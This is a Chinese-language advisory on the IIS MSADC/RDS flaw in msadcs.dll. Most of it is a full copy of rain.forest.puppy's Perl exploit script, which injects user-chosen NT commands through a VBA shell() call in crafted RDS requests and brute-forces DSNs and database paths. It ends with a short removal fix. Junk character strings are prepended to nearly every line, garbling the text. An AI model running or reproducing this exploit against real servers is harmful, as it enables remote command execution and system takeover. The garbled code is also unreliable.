IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
mDE{s",q/ 4 E3@O 涉及程序：
1 hZM) ) Microsoft NT server
y:4Sw#M%( ;0E"4(S.q1 描述：
j-gLX 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
;TSnIC)c CkoPno 详细：
6uDA{[OH 如果你没有时间读详细内容的话，就删除:
f<SSg* A; c:\Program Files\Common Files\System\Msadc\msadcs.dll
x+B~ t4A 有关的安全问题就没有了。
dQM# -t4* js`zQx' 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
JmNeqpbB`w @usQ*k 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
+a zPpGZ= 关于利用ODBC远程漏洞的描述，请参看:
%fP^Fh ~b\7 qx_a9 http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm JoW*) 3Z p8s2#+/ 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
Oi
BK http://www.microsoft.com/security/bulletins/MS99-025faq.asp {\|? {8f u-UUF 这里不再论述。
?^BsR 1@)]+* F*z 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
gbpm:: k6JB%m\E /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
8e\a_R*(| 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
k`g+ ]kb%l"& vzi=[A #将下面这段保存为txt文件，然后: "perl -x 文件名"
&8"a 7$ x(}t r27o #!perl
I.x0$ac7 #
~ $r^Ur!E\ # MSADC/RDS 'usage' (aka exploit) script
#*S/Sh?Q #
1bzPBi # by rain.forest.puppy
;ok];4`a #
?Tuh22J{Q # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
ccD+o$7LT # beta test and find errors!
X z]}cRQ[ 7]e]Y>wZap use Socket; use Getopt::Std;
6 /4OFvL1 getopts("e:vd:h:XR", \%args);
"vLqYc4$ n OQ+oqM< print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
mf}?z21vD 3 tXtt@Yy if (!defined $args{h} && !defined $args{R}) {
9}}D -&Mc print qq~
)Xd=EWGUS Usage: msadc.pl -h <host> { -d <delay> -X -v }
GsDSJz -h <host> = host you want to scan (ip or domain)
*\VQ%_wg -d <seconds> = delay between calls, default 1 second
o\|dm. "f -X = dump Index Server path table, if available
Dj!J 4uD -v = verbose
YY 7:WQS -e = external dictionary file for step 5
!&Q,]\j 2 gt08\
Or a -R will resume a command session
U^pe/11)H I$f:K]|.m! ~; exit;}
Fi5,y;]R Ce 5
}+A} $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
gFDP:I/ ` if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
u85y;AE,( if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
A1Q]K S@ if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
2#+@bk>^{ $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
xmiF!R if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
R 63"j\0 Y }1|/6eJ if (!defined $args{R}){ $ret = &has_msadc;
&OI=r vDmo die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
.\U +`>4av ZLL0 6p print "Please type the NT commandline you want to run (cmd /c assumed):\n"
Nq*\{rb . "cmd /c ";
0w+hf3K+: $in=<STDIN>; chomp $in;
c"O\fX $command="cmd /c " . $in ;
L7D'wf g"T~)SQP if (defined $args{R}) {&load; exit;}
0A 4(RLG g f[|xp?ef print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
TqQ>\h"&_ &try_btcustmr;
0eQ5LG?) ORtl ~V' print "\nStep 2: Trying to make our own DSN...";
|q I_9#M\( &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
m7M *)N8 =, T~F3pK print "\nStep 3: Trying known DSNs...";
#v&&Gu F &known_dsn;
#G*z{BRQ |;D[Al5AMc print "\nStep 4: Trying known .mdbs...";
55$by.rf? &known_mdb;
).ugMuk PFPfLxna if (defined $args{e}){
1Eg}qU,: print "\nStep 5: Trying dictionary of DSN names...";
~Zj?%4 &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
h+Q == k.lnG5e print "Sorry Charley...maybe next time?\n";
Q;aZpi-E" exit;
E#HO0 ]S &)bar.vw/ ##############################################################################
%{HqF>=~ /@wm?ft6Gk sub sendraw { # ripped and modded from whisker
wh*OD sleep($delay); # it's a DoS on the server! At least on mine...
q1?2
U< my ($pstr)=@_;
x7NxHTL socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
RIJBH Oa die("Socket problems\n");
m7RWu I, if(connect(S,pack "SnA4x8",2,80,$target)){
iz*aBXV A[ select(S); $|=1;
|Cen5s
W& print $pstr; my @in=<S>;
H<NYm#a" select(STDOUT); close(S);
1/&j'B return @in;
P%/+?(? } else { die("Can't connect...\n"); }}
"V9!srIC RisrU ##############################################################################
*K+*0_ G %#us3x sub make_header { # make the HTTP request
F5MWxAS,> my $msadc=<<EOT
,#c-"x Y POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
*g=*}2 User-Agent: ACTIVEDATA
D6ck1pxkx Host: $ip
x65e,' Content-Length: $clen
N`zHe *=[~ Connection: Keep-Alive
!4 hs9 b @x=CMF15 ADCClientVersion:01.06
"n8_Ag@r Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
;l`8w3fDt u@gYEx} --!ADM!ROX!YOUR!WORLD!
=vK (-h Content-Type: application/x-varg
T.(SBP Content-Length: $reqlen
,U2D &{@ \/ $v@5 EOT
F(XWnfUv ; $msadc=~s/\n/\r\n/g;
,U7hzBj8k return $msadc;}
`nizGg~1 m Yy3KqYu ##############################################################################
d->b9 UWusSi3+LG sub make_req { # make the RDS request
{K|{a my ($switch, $p1, $p2)=@_;
~(&xBtg: } my $req=""; my $t1, $t2, $query, $dsn;
XBr>K> ( z ?gJHN< if ($switch==1){ # this is the btcustmr.mdb query
Zv-6H*zM6 $query="Select * from Customers where City=" . make_shell();
N9*$' $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
[2FXs52 $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
}>OE"#si Hv`Zc* elsif ($switch==2){ # this is general make table query
M 0"feq $query="create table AZZ (B int, C varchar(10))";
lO ) B/N& $dsn="$p1";}
m# S ZI} :qT>m elsif ($switch==3){ # this is general exploit table query
3AB5Qs< $query="select * from AZZ where C=" . make_shell();
~}M{[6! $dsn="$p1";}
keWgbj
"Km`B1f` elsif ($switch==4){ # attempt to hork file info from index server
K3X y%pqR# $query="select path from scope()";
<y'ttxe S $dsn="Provider=MSIDXS;";}
@ + 2Zt% %(e=Q^= elsif ($switch==5){ # bad query
_ Po9pZ $query="select";
Ec[: 6} $dsn="$p1";}
6@$[x* V ' 5Ieqpm9 $t1= make_unicode($query);
au7BqV!uL $t2= make_unicode($dsn);
q MUqd}=P $req = "\x02\x00\x03\x00";
g_x<+3a $req.= "\x08\x00" . pack ("S1", length($t1));
'+eP%Y [W% $req.= "\x00\x00" . $t1 ;
h] =chz $req.= "\x08\x00" . pack ("S1", length($t2));
<B
fwR$ $req.= "\x00\x00" . $t2 ;
rcbixOT $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
C4G)anT return $req;}
'*-SvA\Cx I&v B\A ##############################################################################
4Cfwz-Qo /;lk.-yU sub make_shell { # this makes the shell() statement
l9jcoVo . return "'|shell(\"$command\")|'";}
Hv=coS>g: +|0 m6)J] ##############################################################################
~q4y'dBy*
h43k
sub make_unicode { # quick little function to convert to unicode
>2 |#b my ($in)=@_; my $out;
IX>|b A; for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
Iq5F^rH`[ return $out;}
hT_snb;ow 4R0_%x6vG ##############################################################################
1dq.UW\ L fi]s sub rdo_success { # checks for RDO return success (this is kludge)
V|D;7 my (@in) = @_; my $base=content_start(@in);
z6!X+`& if($in[$base]=~/multipart\/mixed/){
2Fh_ return 1 if( $in[$base+10]=~/^\x09\x00/ );}
;klDt|%3j return 0;}
CJC|%i3 a}
/Vu" ##############################################################################
u1"e+4f she`_'?5 sub make_dsn { # this makes a DSN for us
! Q#b4 f my @drives=("c","d","e","f");
nFP2wvFM print "\nMaking DSN: ";
AVJk foreach $drive (@drives) {
V.4j?\#% print "$drive: ";
Zu$f[U)X my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
]`NbNr]K "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
4/jY;YN,2 . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
_ (jE](, $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
(kHR$8GFM return 0 if $2 eq "404"; # not found/doesn't exist
i`Yf|^;@2> if($2 eq "200") {
x
B?:G foreach $line (@results) {
Y1~SGg7(@ return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
H )}WWXK } return 0;}
zm:=d>D.. !vB%Q$!x ##############################################################################
R',w~1RV' "tar k' sub verify_exists {
0
mQ3P.9 my ($page)=@_;
@b/2' my @results=sendraw("GET $page HTTP/1.0\n\n");
sHuz10 return $results[0];}
RmQt%a7\{ K4y YNlY ##############################################################################
$P -m6 oL@ ou{iQ sub try_btcustmr {
10rGA=x'( my @drives=("c","d","e","f");
:2My|3H\ my @dirs=("winnt","winnt35","winnt351","win","windows");
E
oR(/*' 9H}&Ri% foreach $dir (@dirs) {
5:d2q<x:{ print "$dir -> "; # fun status so you can see progress
{XX Nl)% foreach $drive (@drives) {
&V3oW1*W print "$drive: "; # ditto
* \WI!% $reqlen=length( make_req(1,$drive,$dir) ) - 28;
PPP wDsJ $reqlenlen=length( "$reqlen" );
xdM #>z`; $clen= 206 + $reqlenlen + $reqlen;
?>8 zU;Aj 0%F.]+6[O4 my @results=sendraw(make_header() . make_req(1,$drive,$dir));
48Lmy<}* if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
`.W;ptZ6 else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
#<PdZl R ] )L'Rk#4 ##############################################################################
f5 % & g)A0PvEu sub odbc_error {
ug,|'<G+ my (@in)=@_; my $base;
I0vn d7 my $base = content_start(@in);
%m) h1/l if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
d-sh6q5 $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
CD1= 2 $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
uW~ ,H}E $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Iq ]6] return $in[$base+4].$in[$base+5].$in[$base+6];}
GKhwn&qCKb print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
-!>ZATL<B print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
xJLO\B+gM $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
=k= 2~
j "EYj Y-> ##############################################################################
8 ysK VF ,M& 0<k\ sub verbose {
X&?lDL7? my ($in)=@_;
|K;T xe _ return if !$verbose;
(OcNC/9 print STDOUT "\n$in\n";}
p}DF$k %` /_OZ1jX ##############################################################################
<lmJa# ynbpew aa sub save {
Fg\| e% my ($p1, $p2, $p3, $p4)=@_;
;u};& sm open(OUT, ">rds.save") || print "Problem saving parameters...\n";
M|#5 gKXd print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
H
L|s pl(c close OUT;}
-f2`qltjb %Fg8l{H3 ##############################################################################
^=Ct Aa2 $%%>n ^?? sub load {
>_aio4j}r my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
Qy^ z *s open(IN,"<rds.save") || die("Couldn't open rds.save\n");
kad;Wa #h @p=<IN>; close(IN);
V"by9p|V ` $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
TflS@Z7C $target= inet_aton($ip) || die("inet_aton problems");
9g
&Ch9-/ print "Resuming to $ip ...";
BZ;}ROmqk $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
Ym.l@( if($p[1]==1) {
Rs F3#H $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
G(OT"+O, $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
nN`Z0? my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
NVc! g if (rdo_success(@results)){print "Success!\n";}
X ' #$e{ else { print "failed\n"; verbose(odbc_error(@results));}}
}\ 93 9Y elsif ($p[1]==3){
]]=-AuV. if(run_query("$p[3]")){
U 'CfP9= print "Success!\n";} else { print "failed\n"; }}
myWmU0z/ elsif ($p[1]==4){
TG63 if(run_query($drvst . "$p[3]")){
HCx%_9xlm print "Success!\n"; } else { print "failed\n"; }}
'ztL3(|X6 exit;}
Vo 6y8@\ QI#*5zm ##############################################################################
|pH*
CC A { 0%TMiVf sub create_table {
~0F9x9V my ($in)=@_;
a()6bRc~T $reqlen=length( make_req(2,$in,"") ) - 28;
BgkB x $reqlenlen=length( "$reqlen" );
{Bq"$M!Y $clen= 206 + $reqlenlen + $reqlen;
Oh/b?|imG my @results=sendraw(make_header() . make_req(2,$in,""));
:q>oD-b$} return 1 if rdo_success(@results);
ik Y]8BCc my $temp= odbc_error(@results); verbose($temp);
iRUR4Zs return 1 if $temp=~/Table 'AZZ' already exists/;
C~KWH @ return 0;}
5hJYy`h~ @4_rx u& ##############################################################################
yC'hwoQ` V%BJNJ sub known_dsn {
5fegWCJ # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
-4vHK!l my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
YBtq0c "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
"y~muE:. "banner", "banners", "ads", "ADCDemo", "ADCTest");
UbY~xs7_ f3zfRhkIk foreach $dSn (@dsns) {
c}IX" print ".";
Tr+h$M1_Ja next if (!is_access("DSN=$dSn"));
S!jF:Uc if(create_table("DSN=$dSn")){
5 dfe@$ print "$dSn successful\n";
N[,VSO& if(run_query("DSN=$dSn")){
{1Ju} =69 print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
1 ;\]D9i print "Something's borked. Use verbose next time\n";}}} print "\n";}
']IT uP8 ]g>m? \'n ##############################################################################
M<A;IOpR+ nIyROhZ sub is_access {
lrs0^@.+ my ($in)=@_;
;]gsJ9FK< $reqlen=length( make_req(5,$in,"") ) - 28;
:F^$"~(, $reqlenlen=length( "$reqlen" );
~KA p\!, $clen= 206 + $reqlenlen + $reqlen;
Y ]~ HAv ' my @results=sendraw(make_header() . make_req(5,$in,""));
]27>a"p59Y my $temp= odbc_error(@results);
FJa[T oZ4+ verbose($temp); return 1 if ($temp=~/Microsoft Access/);
U] V3DDN return 0;}
@V* ju `Di ^6UK( ##############################################################################
smfG, TI ?iPZsV sub run_query {
/nC{)s?S' my ($in)=@_;
E! zd( $reqlen=length( make_req(3,$in,"") ) - 28;
%\}dbYS
' $reqlenlen=length( "$reqlen" );
| r E!
$clen= 206 + $reqlenlen + $reqlen;
n|70x5Z?}J my @results=sendraw(make_header() . make_req(3,$in,""));
$` Z>Lm* return 1 if rdo_success(@results);
S'Z70 zJ my $temp= odbc_error(@results); verbose($temp);
dGbU{#"3s return 0;}
2^)D
.& {{V ;:+62 ##############################################################################
UF&0 & `@ u}K5/hC sub known_mdb {
MzE m*`< my @drives=("c","d","e","f","g");
H GO#e my @dirs=("winnt","winnt35","winnt351","win","windows");
!,cQ'*<W8- my $dir, $drive, $mdb;
Z/2,al\ my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
3]O`[P,*% IL~]m?'V( # this is sparse, because I don't know of many
P0%N
Q1bn my @sysmdbs=( "\\catroot\\icatalog.mdb",
n-b> m7O( "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
k{gl^ "\\system32\\certmdb.mdb",
pN\)(:"8v "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
+1otn~(E w^06 z, my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
FU_fCL8yA "\\cfusion\\cfapps\\forums\\forums_.mdb",
A", e S6 "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
zKIGWH=qqm "\\cfusion\\cfapps\\security\\realm_.mdb",
8weSrm "\\cfusion\\cfapps\\security\\data\\realm.mdb",
0JmFQ ^g( "\\cfusion\\database\\cfexamples.mdb",
R%>jJ[4\[ "\\cfusion\\database\\cfsnippets.mdb",
b8rp8'M) "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
W|)GV0YM "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
99 <4t$KH "\\cfusion\\brighttiger\\database\\cleam.mdb",
E% <w5d.lq "\\cfusion\\database\\smpolicy.mdb",
vuYO\u+ud "\\cfusion\\database\cypress.mdb",
}1QI"M* "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
fNm E, ~ "\\website\\cgi-win\\dbsample.mdb",
^oS$>6| "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
uQH %.A "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
}x*7l`1 ); #these are just
Ct4LkmD foreach $drive (@drives) {
Oo FgQEr@ foreach $dir (@dirs){
&MCy. (jN foreach $mdb (@sysmdbs) {
L +L 9Y} print ".";
; tJWOm if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
:]vA 2 print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
iV5 }U2Vh if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
sW
}<zGYd print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
cNe0x2Z$? } else { print "Something's borked. Use verbose next time\n"; }}}}}
h,^BC^VU9- u3U4UK foreach $drive (@drives) {
30D: ZmlY foreach $mdb (@mdbs) {
!n|#|.0m print ".";
)VNM/o%Q if(create_table($drv . $drive . $dir . $mdb)){
lc]V \ 'e print "\n" . $drive . $dir . $mdb . " successful\n";
z)}3**3'y if(run_query($drv . $drive . $dir . $mdb)){
j7K5SS_] print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
+`ai 1-vw } else { print "Something's borked. Use verbose next time\n"; }}}}
ZAMeqPt }
DW# Bfo ,Kuk_@(}5~ ##############################################################################
>9ob *6q, 1Fv8T' sub hork_idx {
T YYp"wx print "\nAttempting to dump Index Server tables...\n";
G 0hYFc u print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
>^dyQyK $reqlen=length( make_req(4,"","") ) - 28;
$0_^=D EW $reqlenlen=length( "$reqlen" );
&,J*_F<s2< $clen= 206 + $reqlenlen + $reqlen;
M|d={o9Hp my @results=sendraw2(make_header() . make_req(4,"",""));
*R BV'b if (rdo_success(@results)){
(B@X[~ my $max=@results; my $c; my %d;
)T9;6R$b for($c=19; $c<$max; $c++){
$H'8
#:[d_ $results[$c]=~s/\x00//g;
:4|M
jn $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
+#4]o
}6G $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
_1ew(x2J $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
',GV6kt_k $d{"$1$2"}="";}
T .kyV| foreach $c (keys %d){ print "$c\n"; }
nTPB,QE< } else {print "Index server doesn't seem to be installed.\n"; }}
FKC\VF ~/2g)IS ##############################################################################
{;*}WPYb ]bm= LA sub dsn_dict {
"f4<B-9<$ open(IN, "<$args{e}") || die("Can't open external dictionary\n");
;J] 25j] ] while(<IN>){
w! \3ICB $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
TXjloGv^ next if (!is_access("DSN=$dSn"));
' TL2%T/)t if(create_table("DSN=$dSn")){
F+m[&MKL print "$dSn successful\n";
b(l0js if(run_query("DSN=$dSn")){
$xT1 1 ^ print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
D|l,08n"? print "Something's borked. Use verbose next time\n";}}}
r4u z} jl{ print "\n"; close(IN);}
X1 oGp+& !DPF7x(-{ ##############################################################################
61} i 5o /t*YDW Lg sub sendraw2 { # ripped and modded from whisker
`z9J`r= I sleep($delay); # it's a DoS on the server! At least on mine...
[F+,YV%t my ($pstr)=@_;
_- O cc=Z socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
& iqw!
ud die("Socket problems\n");
~O{W;Cyh if(connect(S,pack "SnA4x8",2,80,$target)){
\6o\+OQk print "Connected. Getting data";
3+ =I;nj open(OUT,">raw.out"); my @in;
>"%ob,c:# select(S); $|=1; print $pstr;
{pWBwf>R C while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
xST4 }Mb^f close(OUT); select(STDOUT); close(S); return @in;
" !-Kd'V } else { die("Can't connect...\n"); }}
R(G\wqHUT3 _1aGtX|W ##############################################################################
<J& 7 ]6Z /_)l|<k+V sub content_start { # this will take in the server headers
IxOc':/jY my (@in)=@_; my $c;
)1lu=gc for ($c=1;$c<500;$c++) {
z C=a3 if($in[$c] =~/^\x0d\x0a/){
^
q?1U?4 if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
}^Gd4[(,g else { return $c+1; }}}
:_xh(W+2< return -1;} # it should never get here actually
& $=! dA */(I[p ##############################################################################
K*Ks"Vx 'H|~u&? sub funky {
qM",( Bh my (@in)=@_; my $error=odbc_error(@in);
]]2k}A[-I if($error=~/ADO could not find the specified provider/){
5dl,co{q print "\nServer returned an ADO miscofiguration message\nAborting.\n";
QB&BTT=! exit;}
XN#&NT{t} if($error=~/A Handler is required/){
+ BL{@,zr print "\nServer has custom handler filters (they most likely are patched)\n";
$ J1f.YE exit;}
-:<lkq&/ if($error=~/specified Handler has denied Access/){
o r 2|O#= print "\nServer has custom handler filters (they most likely are patched)\n";
/:Lu_)5 exit;}}
E7nFb:zlV _w!a`w*3 ##############################################################################
;h Hi@Z 9 2 0tO#{Li sub has_msadc {
aC!EWgwW[ my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
gmP9j)V 6 my $base=content_start(@results);
19t{|w< return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
z)-c#F@% return 0;}
W2]TRO @0NJ{ ########################
=lp1Z> eg<pa'Hw Zb_apjg[4 解决方案：
=:=/Gz1 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
`s"d]/85VW 2、移除web 目录: /msadc
